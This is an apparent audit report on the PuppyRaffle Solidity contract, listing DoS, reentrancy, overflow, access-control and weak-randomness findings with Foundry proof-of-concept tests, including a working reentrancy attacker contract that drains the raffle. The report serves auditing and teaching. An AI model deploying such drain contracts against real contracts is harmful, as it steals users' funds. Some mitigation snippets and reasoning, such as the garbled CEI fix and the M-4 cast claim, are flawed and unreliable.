Protocol Audit Report

Prepared by: Ikpong Joseph

Prepared by: Ikpong Joseph

Lead Auditors:

- Ikpong Joseph

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
  - [H-1] Potential DoS in `PuppyRaffle::enterRaffle` function during unbounded for loop in checking for player address duplicates
  - [H-2] The visibility of the `PuppyRaffle::withdrawFees` function should be `internal` and automatically called when the `PuppyRaffle::selectWinner` function is called to avoid locking owner fees in contract
  - [H-3] Potential reentrancy attack in `PuppyRaffle::refund` function can lead to loss of player funds and owner fees
- Medium
  - [M-1] Return value in `PuppyRaffle::getActivePlayerIndex` function can be misleading for a player whose index is originally 0, hence making them unable to get refunds by thinking they are not active
  - [M-2] Lack of Access Controls in `PuppyRaffle::withdrawFees` functions will allow malicious inddividuals to withdraw all funds before or after a winner is selected
  - [M-3] Arithmetic overflow and unsafe type casting in `PuppyRaffle::selectWinner` function can cause loss of fees for owner
  - [M-4] Strict require statement in `PuppyRaffle::withdrawFees` function could potentially lock owner fees forever
  - [M-5] Weak Random Number Generator in `PuppyRaffle::selectWinner` function can be manipulated to unfairly elect a winner
- Informational
  - [I-1] Adhere to best Solidity style guide to ease reading of code
  - [I-2] Improper Naming convention for state variables in `PuppyRafflee` contract makes difficult in differentiating state variables
  - [I-3] `PuppyRaffle::RaffleEnter` event does not follow best events naming convention
  - [I-4] Lack of proper indexing of events could pose problematic search of events on blockchain
  - [I-5] Missing Events for key functions will make it difficult to track

    - [I-6] Unused `PuppyRaffle::_isACtive` function can be used for more robust checks in the `PuppyRaffle::refund` function
    - [I-7] Use of floating and outdated solditiy versions is not best practice and poses security threats
    - [I-8] Undeclared arithmetic variables can cause difficulty understanding aritmetic operations in code
- Gas
    - [G-1] Caching of storage state variables in functions and loops will help reduce gas cost

Protocol Summary

The `PuppyRaffle` protocol lets an owner create a raffle for players to participate in with an entrance fee, and will randomly mint an nft to winner of raffle, after which the raffle will reset for next batch of players.

Disclaimer

We make all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

This audit of `PuppyRaffle` was conducted on commit hash `2a47715`. Find repo URL at PuppyRaffle.

Scope

```
./src/
--- PuppyRaffle.sol
```

Roles

- Owner: Deploys the `PuppyRaffle` contract, sets `entranceFee` and can change `feeAddress`.
- Players: Enter puppy raffle with value of `entranceFee`. And can get refunds, if they choose to, before winner is selected.

Executive Summary

The review was conducted by 1 auditor, Ikpong Joseph, betwween the 19th to 25th of June, 2024. We timeboxed ourselves to find vulnerabilities and provide mitigations using manual review and static analysis tools --Slither and Aderyn.

Issues found

17 vulnerabilities were discovered in the protocol. Vulnerabilities were classified as either High, Medium, Informational or Gas.

Severity	Number of Issues Found
High	3
Medium	5
Info	8
Gas	1
Total	17

Findings

High

[H-1] Potential DoS in `PuppyRaffle::enterRaffle` function during unbounded for loop in checking for player address duplicates

Description

In the `PuppyRaffle::enterRaffle` function there is an unbounded for loop that checks for duplicate addresses in the dynamic `PuppyRaffle::players` state variable.

```
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }
```

```
        // Check for duplicates
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
```

Impact

The problem with this is that given a scenario where an excess amount of players have entered the raffle, it will then become exceedingly expensive for other players to enter the raffle as a result of increased gas fees resulting from the massive continuous looping through the `PuppyRaffle::players` state variable to ensure that the new player has not entered the raffle already. This can be exploited by malicious actors or in a rush of innocence, making it impossible for other players to fairly participate in that raffle round.

Proof of Concepts

The following test was added to `test/PuppyRaffleTes.t.sol`

▶ Code

```
//PuppyRaffle::enterRaffle DoS PoC
    function test_enterRaffle_DoS() public {
        // FIRST BATCH OF ENTRIES
        //State number of players to be entered
@>      uint256 numberOfPlayers = 100;

        address[] memory playersFirst = new address[](100); //Stating size
of players for []

@>      for(uint i = 0; i < numberOfPlayers; ++i) {
            //Adding players to []
            playersFirst[i] = address(int160(i));
        }

        vm.txGasPrice(1); // Set gas price in wei.

        uint256 initialGasForFirst100Players = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}
(playersFirst);
        uint256 finalGasForFirst100Players = gasleft();
        uint256 totalGasUsedForFirst100Players =
(initialGasForFirst100Players - finalGasForFirst100Players) * tx.gasprice;

        console.log("////FIRST BATCH/////");
```

```
        console.log("Gas before this first call was: ",
initialGasForFirst100Players);
        console.log("Gas after this first call was: ",
finalGasForFirst100Players);
        console.log("Total gas used for first 100 players is: ",
totalGasUsedForFirst100Players);

        // SECOND BATCH OF ENTRIES

        address[] memory playersSecond = new address[](100); //Stating size
of players for []
@>      for(uint i = 0; i < numberOfPlayers; ++i) {
            //Adding players to []
            playersSecond[i] = address(int160(i+numberOfPlayers));
        } //@audit Looping through the for loop for such a size causes a
potential DoS due to high gas fees

        vm.txGasPrice(1);

        uint256 initialGasForSecond100Players = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}
(playersSecond);
        uint256 finalGasForSecond100Players = gasleft();
        uint256 totalGasUsedForSecond100Players =
(initialGasForSecond100Players - finalGasForSecond100Players) *
tx.gasprice;    // WHy the calculation?

        console.log("////SECOND BATCH/////");
        console.log("Gas before this second call was: ",
initialGasForSecond100Players);
        console.log("Gas after this second call was: ",
finalGasForSecond100Players);
        console.log("Total gas used for second 100 players is: ",
totalGasUsedForSecond100Players);

@>      uint256 gasDifferencesInBothCalls =
totalGasUsedForSecond100Players - totalGasUsedForFirst100Players;
        console.log("Possible DoS effect in gas is: ",
gasDifferencesInBothCalls);
    }
```

Run the test with `forge test --match-test test_enterRaffle_DoS -vvv`. The following results further demonstrate the expense in gas

▶ Test Results

```
[PASS] test_enterRaffle_DoS() (gas: 24362846)
Logs:
  ////FIRST BATCH/////
  Gas before this first call was:  9223372036854736828
  Gas after this first call was:  9223372036848484788
```

```
  Total gas used for first 100 players is:  6252040
  ////SECOND BATCH/////
  Gas before this second call was:  9223372036848463821
  Gas after this second call was:  9223372036830395679
  Total gas used for second 100 players is:  18068142
  Possible DoS effect in gas is:  11816102
```

Recommended mitigation

There are a possible number of mitigations that can be applied to this scenario.

1. One possible way to avoid this is to allow only a max of addresses to enter the raffle. This will help limit the gas fees at any time.

▶ PoC

```
//PuppyRaffle::enterRaffle DoS Mitigation
    function test_enterRaffle_DoS_mitigation() public {
        // FIRST BATCH OF ENTRIES
        //State number of players to be entered
        uint256 numberOfPlayers = 10;

        address[] memory playersFirst = new address[](10); //Stating size
of players for []

        for(uint i = 0; i < numberOfPlayers; ++i) {
            //Adding players to []
            playersFirst[i] = address(int160(i));
        }

        vm.txGasPrice(1); // Set gas price in wei.

        uint256 initialGasForFirst100Players = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}
(playersFirst);
        uint256 finalGasForFirst100Players = gasleft();
        uint256 totalGasUsedForFirst100Players =
(initialGasForFirst100Players - finalGasForFirst100Players) * tx.gasprice;
// WHy the calculation?

        console.log("////FIRST BATCH/////");
        console.log("Gas before this first call was: ",
initialGasForFirst100Players);
        console.log("Gas after this first call was: ",
finalGasForFirst100Players);
        console.log("Total gas used for first 100 players is: ",
totalGasUsedForFirst100Players);

        // SECOND BATCH OF ENTRIES

        address[] memory playersSecond = new address[](10); //Stating size
of players for []
```

```
        for(uint i = 0; i < numberOfPlayers; ++i) {
            //Adding players to []
            playersSecond[i] = address(int160(i+numberOfPlayers));
        }

        vm.txGasPrice(1);

        uint256 initialGasForSecond100Players = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}
(playersSecond);
        uint256 finalGasForSecond100Players = gasleft();
        uint256 totalGasUsedForSecond100Players =
(initialGasForSecond100Players - finalGasForSecond100Players) *
tx.gasprice;    // WHy the calculation?

        console.log("////SECOND BATCH/////");
        console.log("Gas before this second call was: ",
initialGasForSecond100Players);
        console.log("Gas after this second call was: ",
finalGasForSecond100Players);
        console.log("Total gas used for second 100 players is: ",
totalGasUsedForSecond100Players);

        uint256 gasDifferencesInBothCalls =
totalGasUsedForSecond100Players - totalGasUsedForFirst100Players;
        console.log("Possible DoS effect in gas is: ",
gasDifferencesInBothCalls);
    }
```

As such, the following line should be added to `PuppyRaffle::enterRaffle`

```
+         require(players.length <= 10, "PuppyRaffle: Need at max 10
players"); //@audit  DoSMitigation
```

Upon this modification, the PoC test would now fail while the Mitigation test passes

```
forge test --match-test test_enterRaffle_DoS
[⠊] Compiling...
No files changed, compilation skipped

Running 2 tests for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: revert: PuppyRaffle: Need at max 10 players]
test_enterRaffle_DoS() (gas: 6310032)
[PASS] test_enterRaffle_DoS_mitigation() (gas: 697556)
Test result: FAILED. 1 passed; 1 failed; 0 skipped; finished in 31.79ms
```

▶ Mitigation Test Gas Results

```
[PASS] test_enterRaffle_DoS_mitigation() (gas: 697304)
Logs:
  ////FIRST BATCH/////
  Gas before this first call was:  9223372036854750058
  Gas after this first call was:  9223372036854463856
  Total gas used for first 10 players is:  286202
  ////SECOND BATCH/////
  Gas before this second call was:  9223372036854456319
  Gas after this second call was:  9223372036854061310
  Total gas used for second 10 players is:  395009
  Possible DoS effect in gas is:  108807
```

2. Possibly do away with checking duplicates since a person could easily create more address from wallets and might not use the same address.
3. If the check for duplicates is mandatory, consider the use of mapping rather than an array. @audit Write test that shows gas prices if a mapping(uint256 playerID => address player) is used instead of an array.

[H-2] The visibility of the `PuppyRaffle::withdrawFees` function should be `internal` and automatically called when the `PuppyRaffle::selectWinner` function is called to avoid locking owner fees in contract

Description

The visibility of the `PuppyRaffle::withdrawFees` function is currently set to external which can allow any user try to call it. This can lead to the contract's owner losing out on his rightful fees for setting up the `PuppyRaffle` contract. There is a strict requirement in the `PuppyRaffle::withdrawFees` function that allows the owner only withdraw fees when the contract balance equals the `PuppyRafflee::totallFees` state variable.

Impact

Any malcious user can try their hand at calling it if they were able to change the fee address. This can lead to the contract's owner losing out on his rightful fees for setting up the `PuppyRaffle` contract.

And the strict withdrawal implentation will never allow the owner easily withdraw his funds if, for instance, a winner has been selected and new players have enterred raffle.

Proof of Concepts

```
function withdrawFees() external {
        require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

Recommended mitigation

The visibility of the `PuppyRaffle::withdrawFees` function should be `internal`.

```
- function withdrawFees() external {
+ function withdrawFees() internal {
```

And it should be added to the `PuppyRaffle::selectWinner` function so the require statement will always hold.

```
function selectWinner() external {
        /*SNIPPED*/

        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;

        totalFees = totalFees + uint64(fee);
        /*SNIPPED*/

        previousWinner = winner;
        (bool success, ) = winner.call{value: prizePool}(""); //@auditIs
this safe? Other methods
        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
+       withdrawFees()
        _safeMint(winner, tokenId);
    }
```

[H-3] Potential reentrancy attack in `PuppyRaffle::refund` function can lead to loss of player funds and owner fees

Description

The `PuppyRaffle::refund` function does not follow the Checks-Effects-Interaction (CEI) pattern when performing a refund call when called by an active player. The function advances to trasnfer the entrance fees to an active player before updating the state.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

@>      payable(msg.sender).sendValue(entranceFee); //@audit Transfers
funds to player (Interaction)
```

```
@>      players[playerIndex] = address(0); //@audit Now updates state by
removing player from playees[] (Effects)
        emit RaffleRefunded(playerAddress);
    }
```

Impact

This simple mistake is expensive. It could lead to the loss of all funds deposited into the `PuppyRaffle` by players, leading to loss of winner prize and owner fees.

Proof of Concepts

To prove this concept I created a `Reentrancy Attacker` contract in the `test/PuppyRaffleTest.t.sol` and tested it.

▶ Reentrancy Attacker Contract

```
contract ReentrancyAttacker {

    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;
    constructor (PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        // Get Raffle entrance fee
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        // Add contract as player
        address[] memory players = new address[](1);
        players[0] = address(this); // This contract will be added as a
player to puppyRaffle
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        // Refund entrance fee
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);

    }

    //Now a function to keep stealing money
    function _stealMoreFromRaffle() internal  {
        // It is set as internal so it is called in fallback & receive()
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    receive() external payable {
        _stealMoreFromRaffle();
    }
```

```
    fallback() external payable {
        _stealMoreFromRaffle();
    }
}
```

▶ Test for Reentrancy In `PuppyRafffle Refund Function

```
function testRefundReentrancy() external {
        uint256 numberOfPlayers = 100;

        address[] memory playersFirst = new address[](100); //Stating size
of players for []

        for(uint i = 1; i < numberOfPlayers; ++i) {
            //Adding players to []
            playersFirst[i] = address(int160(i));
        }

        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}
(playersFirst);


        ReentrancyAttacker attacker = new ReentrancyAttacker (puppyRaffle);

        address attackUser = makeAddr("attackUser");

        vm.deal(attackUser, 1 ether);
        uint256 initialPuppyBalance = address(puppyRaffle).balance;
        uint256 initialAttackerBalance = address(attacker).balance;



        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();


        uint256 finialPuppyBalance = address(puppyRaffle).balance;
        uint256 finalAttackerBalance = address(attacker).balance;



        console.log("Puppy balance before reentrancy",
initialPuppyBalance);
        console.log("Initial attacker balance", initialAttackerBalance);
        console.log("Puppy after before reentrancy", finialPuppyBalance);
        console.log("Final attacker balance", finalAttackerBalance);
    }
```

▶ Results From Test

```
forge test --match-test testRefundReentrancy -vvv
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testRefundReentrancy() (gas: 11647730)
Logs:
  Puppy balance before reentrancy 10000000000000000000
  Initial attacker balance 0
  Puppy after before reentrancy 0
  Final attacker balance 10100000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 66.42ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended mitigation

1. Adhering to CEI pattern will resolve this issue. If implemented, the above test should now fail

▶ CEI Mitigation

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

        payable(playerAddress).sendValue(entranceFee); //@audit Remove
        players[playerIndex] = address(0); //@audit Add

        payable(playerAddress).sendValue(entranceFee); //@audit Add
        players[playerIndex] = address(0); //@audit Remove


        emit RaffleRefunded(playerAddress);
```

2. Use of OZ Reentrancy Guard.

Medium

[M-1] Return value in `PuppyRaffle::getActivePlayerIndex` function can be misleading for a player whose index is originally 0, hence making them unable to get refunds by thinking they are not active

Description

The `PuppyRaffle::getActivePlayerIndex` function returns the index of an active player in the `PuppyRaffle::players` array. It returns 0 when a non-player calls it. This can be misleading for a player whose index is originally 0, since this is called before `PuppyRaffle::refund` function. It can make such a player believe he isn't active, and as such cannot call the `PuppyRaffle::refund` function. This means they lose their money to `PuppyRaffle`.

Impact

It can prevent an index 0 active player from calling the `PuppyRaffle::refund` function if they wish to withdraw from the raffle. They will lose their money to `PuppyRaffle`.

Proof of Concepts

The following test passes

▶ Code

```
 function testGetActivePlayerIndexReturnsZeroForNonPlayer() public {
        address[] memory players = new address[](2);
        players[0] = playerOne;
        players[1] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);

        assertEq(puppyRaffle.getActivePlayerIndex(playerOne), 0); //@audit
Genuine player at index 0
        assertEq(puppyRaffle.getActivePlayerIndex(playerTwo), 1);
        assertEq(puppyRaffle.getActivePlayerIndex(playerThree), 0);
//@audit Non-player given 0
    }
```

Recommended mitigation

A bool value was introduced into `PuppyRaffle::getActivePlayerIndex` function to allow custom error be returned if player was not active rather than 0.

▶ Code

```
function getActivePlayerIndex(address player) external view returns
(uint256) {
+    bool Found = false;
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
+            Found = true;
            return i;
```

```
        }
    }
+    require(false, "Player is not active");
-    return 0;
}
```

[M-2] Lack of Access Controls in `PuppyRaffle::withdrawFees` functions will allow malicious inddividuals to withdraw all funds before or after a winner is selected

Description

The `PuppyRaffle::withdrawFees` function is intended to be used only by the `PuppyRaffle` contract owner to withdraw fees after a raffle winner has been selected. However it stands as an external contract without proper access control.

Impact

Though unlikely in likelihood, a malicious user or actor whom is able to bypass the security of `PuppyRaffle::changFeeAddress` can change the fee address of the contract and steal all fees by calling `PuppyRaffle::withdrawFees` function.

Proof of Concepts

Here you will see how the function lacks proper access control

▶ PoC

```
 function withdrawFees() external { //@audit The onlyOwner modifier should
be in function declaration
        require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Recommended mitigation

The following line should be replaced.

```
- function withdrawFees() external {
+ function withdrawFees() external onlyOwner{
```

[M-3] Arithmetic overflow and unsafe type casting in `PuppyRaffle::selectWinner` function can cause loss of fees for owner

Description

The `PuppyRaffle::totalFees` state variable is of type `uint64`. These types usually have a max value of about `18446744073709551615`. Around 18.4 ether. During the calculation of `totalFees` in `PuppyRaffle::selectWinner` function, the `uint256 fees` variable is type-casted to `uint64(fees)` and then added to the `PuppyRaffle::totalFees` state variable.

Impact

The `PuppyRaffle::totalFees` state variable is of type `uint64`. These types usually have a max value of about `18446744073709551615`. Around 18.4 ether. This means that theoretically, and by design, since total fees is 20% of `entranceFees * number of players`, if 100 players enter raffle at an entrance fee of 1 ether (1e18), then owner fees should be 20 ether. But this exceeds the `uint64` type, hence it will overflow to a much lower amount, leading to loss of fees. By right this overflow should revert, but given the Solidity version in use, it doesn't revert.

Also in calculating fees in `PuppyRaffle::selectWinner` function, the `uint256 fees` variable is typecasted to a `uint64(fees)` when added to the `PuppyRaffle::totalFees` state variable. If before typecasting, the `uint256 fees` variable was larget than the max `uint64`, say 20 ether, when casted to `uint64` only less than 2 ether will be recorded. This leads to loss of fees for the owner.

Proof of Concepts

The following test was run

▶ Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees //
400000000000000000
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log("Starting total fees after a raffle of 4 players",
startingTotalFees);
        // startingTotalFees = 800000000000000000
        //
1860000000000000000 (Proper total fees)
        // We then have 89 players enter a new raffle //
8900000000000000000. fees = 17800000000000000000 Ending fees after 89
players raffle
        uint256 playersNum = 89; //
800000000000000000  StartingTotalFees
        address[] memory players = new address[](playersNum); //
153255926290448384  Overflowed ending fees
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
```

```
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
second raffle
        puppyRaffle.selectWinner();
        // The total fees now should be 18600000000000000000 (uint256).
        // But since it has to be stored a uint64, Only the lower part is
retained during the overflow
        // 2 posiible mitigations. (1) Owner withdraw fees after each
raffle. (2) Use OZ safemath Library.

        uint256 endingTotalFees = puppyRaffle.totalFees();

        console.log("ending total fees", endingTotalFees);
        console.log("By right the total fees should have been",
(((entranceFee * 4) * 20)/100) + (((entranceFee * playersNum) * 20)/100));
        console.log("Through this overflow the owner has lost",
startingTotalFees + (((entranceFee * playersNum) * 20)/100) -
endingTotalFees);

        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require
check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended mitigation

There are 3 posiible mitigations.

1. Owners is automatically credited with fees after each raffle, so no `PuppyRaffle::totalFees` state variable is required.
2. Use OZ safemath Library.
3. Change the `PuppyRaffle::totalFees` state variable to type `uint256` and remove the `uint64(fees)`

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;

/*SNIPPED*/

- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

[M-4] Strict require statement in `PuppyRaffle::withdrawFees` function could potentially lock owner fees forever

Description

The `PuppyRaffle::totalFees` state variable is of type `uint64` that stores the total fees allocated to the contract owner for each raffle session after a winner has been selected via the `PuppyRaffle::selectWinner` function. These types usually have a max value of about `18446744073709551615`. Around 18.4 ether. The strict, and wrong, require staement check found in the `PuppyRaffle::withdrawFees` function seems like trouble.

Impact

In the require statement of the `PuppyRaffle::withdrawFees` function, `totalFees` is type-casted as a `uint256`. But the `PuppyRaffle::totalFees` state variable is of type `uint64`. This check will never allow the owner to withdraw his earned fees. This is generally reffered to a `Mishandling of ETH` or `Stuck ETH`.

Proof of Concepts

```
uint64 public totalFees = 0;

/*SNIPPED*/

function withdrawFees() external {
        require(
@>          address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Recommended mitigation

The following should be implemented in the `PuppyRaffle::withdrawFees` function.

1.

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
+   require(address(this).balance == totalFees, "PuppyRaffle: There are
currently players active!");
```

Better yet, you change the `PuppyRaffle::totalFees` state variable to a `uint256` and revert the `uint64` type cast for fees in `PuppyRaffle::selectWinner` function to allow for large fees.

2. Also consider using solidity versions 0.8.x.
3.

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
+   require(address(this).balance >= totalFees, "PuppyRaffle: There are
currently players active!");
```

[M-5] Weak Random Number Generator in `PuppyRaffle::selectWinner` function can be manipulated to unfairly elect a winner

Description

To select a winner in the `PuppyRaffle::selectWinner` function the winner index is randomly calculated as

```
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
```

Use of block.timestamp is insecure. There is no true source of randomness present in the `winnerIndex` computation.

Impact

The use of possibly known variables like `block.timestamp` and `block.difficulty` can be possibly used in manipulating the outcome of the raffle to favour certain parties. This robs the protocol of its fairness in selecting a random user.

Recommended mitigation

Consider using a decentralized oracle for the generation of random numbers, such as Chainlinks VRF.

Informational

[I-1] Adhere to best Solidity style guide to ease reading of code

Description

The functins to the `PuppyRafflle` contract do not follow the best styling for solidity contracts.

Recommended mitigation

Follow the layout below

```
Layout of Contract:
version
imports
errors
interfaces, libraries, contracts
Type declarations
State variables
Events
Modifiers
Functions

Layout of Functions:
constructor
receive function (if exists)
fallback function (if exists)
external
public
internal
private
view & pure functions
```

[I-2] Improper Naming convention for state variables in `PuppyRafflee` contract makes difficult in differentiating state variables

Description

The many state variables in the `PuppyRafflee` contract do not follow the conventional naming convention.

Impact

This makes it difficult in reading code, determining where the state variable is coming from and differentiationg from local variables.

Proof of Concepts

```
    uint256 public immutable entranceFee;

    address[] public players;

    uint256 public raffleDuration;
    uint256 public raffleStartTime;
    address public previousWinner;

    // We do some storage packing to save gas
    address public feeAddress;
    uint64 public totalFees = 0;

    // mappings to keep track of token traits
    mapping(uint256 => uint256) public tokenIdToRarity;
```

```
    mapping(uint256 => string) public rarityToUri;
    mapping(uint256 => string) public rarityToName;

    // Stats for the common puppy (pug)
    string private commonImageUri =
        "ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
    uint256 public constant COMMON_RARITY = 70;
    string private constant COMMON = "common";

    // Stats for the rare puppy (st. bernard)
    string private rareImageUri =
        "ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
    uint256 public constant RARE_RARITY = 25;
    string private constant RARE = "rare";

    // Stats for the legendary puppy (shiba inu)
    string private legendaryImageUri =
        "ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
    uint256 public constant LEGENDARY_RARITY = 5;
    string private constant LEGENDARY = "legendary";
```

Recommended mitigation

The following should be implemented

```
-   uint256 public immutable entranceFee;
+   uint256 public immutable i_entranceFee;

-   address[] public players;
+   address[] public s_players;

    // address[][10] public players;

-   uint256 public raffleDuration; //@audit Set in constructor and never
changed
+   uint256 public i_raffleDuration;

-   uint256 public raffleStartTime;
+   uint256 public s_raffleStartTime;

-   address public previousWinner;
+   address public s_previousWinner;

    // We do some storage packing to save gas

-  address public feeAddress;
+  address public s_feeAddress;

-   uint64 public totalFees = 0;
+   uint64 public s_totalFees = 0;
```

```
    // mappings to keep track of token traits

-   mapping(uint256 => uint256) public tokenIdToRarity;
+   mapping(uint256 => uint256) public s_tokenIdToRarity;

-   mapping(uint256 => string) public rarityToUri;
+   mapping(uint256 => string) public s_rarityToUri;

-    mapping(uint256 => string) public rarityToName;
+   mapping(uint256 => string) public s_rarityToName;

    //@audit These stats are never updated.

    // Stats for the common puppy (pug)
-   string private commonImageUri =
        "ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
+   string private constant COMMON_IMAGE_URI =
        "ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";

    // Stats for the rare puppy (st. bernard)
-   string private rareImageUri =
        "ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
+   string private constant RARE_IMAGE_URI =
        "ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";

    // Stats for the legendary puppy (shiba inu)
-   string private legendaryImageUri =
        "ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
+   tring private constant LEGENDARY_IMAGE_URI =
        "ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

Also make appropriate changes wherein they appear in code.

[I-3] `PuppyRaffle::RaffleEnter` event does not follow best events naming convention

Description Events names should be past tense.

Impact

Events should track things that happened and so should be past tense. Using past tense also helps avoid naming collisions with structs or functions.

Proof of Concepts

```
event RaffleEnter(address[] newPlayers);
```

Recommended mitigation

```
-   event RaffleEnter(address[] newPlayers);
+   event RaffleEntered(address[] newPlayers);
```

Also update event in the `PuppyRaffke::enterRaffle` function.

[I-4] Lack of proper indexing of events could pose problematic search of events on blockchain

Description

The events of `PuppyRafflle` contracts lack necessary `index` keyword.

Impact

The indexed keyword allows event parameters to be searchable via logs, which is useful for quickly finding events in transaction history.

Proof of Concepts

```
event RaffleEnter(address[] newPlayers);
event RaffleRefunded(address player);
event FeeAddressChanged(address newFeeAddress);
```

Recommended mitigation

Include the `indexed` keyword in events declaration only.

```
-   event RaffleRefunded(address player);
+   event RaffleRefunded(address indexed player);
-   event FeeAddressChanged(address newFeeAddress);
+   event FeeAddressChanged(address indexed newFeeAddress);
```

Since `indexed` keyword can't be used for the `address[]`, the following changes can be made

```
-   event RaffleEnter(address[] newPlayers);
+   event RaffleEnter(address indexed newPlayers);

function enterRaffle(address[] memory newPlayers) public payable {
        /*SNIPPED*/


        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
            emit RaffleEnter(newPlayers[i]); // Emit event for each player
        }
```

```
        /*SNIPPED
}
```

[I-5] Missing Events for key functions will make it difficult to track

Description

Certain functions like the `PuppyRaffle::selectWinner` and the `PuppyRaffle::withdrawFees` lack emitting events.

Recommended mitigation

Add appropriate indexed events.

```
+   event WinnerSelected(address indexed winner);
+   event FeesWithdrawn(address indexed caller, address indexed feeAddress,
uint256 fees);
```

[I-6] Unused `PuppyRaffle::_isACtive` function can be used for more robust checks in the `PuppyRaffle::refund` function

Description The `PuppyRaffle::_isACtive` function checks if a player exists in the `PuppyRaffle::players` state variable array.

Impact

Rather than stay unused, it could provide better security for the `PuppyRaffle::refund` function.

Proof of Concepts

```
function _isActivePlayer() internal view returns (bool) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == msg.sender) {
                return true;
            }
        }
        return false;
    }
```

Recommended mitigation

The `PuppyRaffle::refund` function can be refactored as follows.

▶ Code

```
function refund(uint256 playerIndex) public {
```

```
        require(
            _isActivePlayer(),
            "PuppyRaffle: Only an active player can refund"
        );

        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
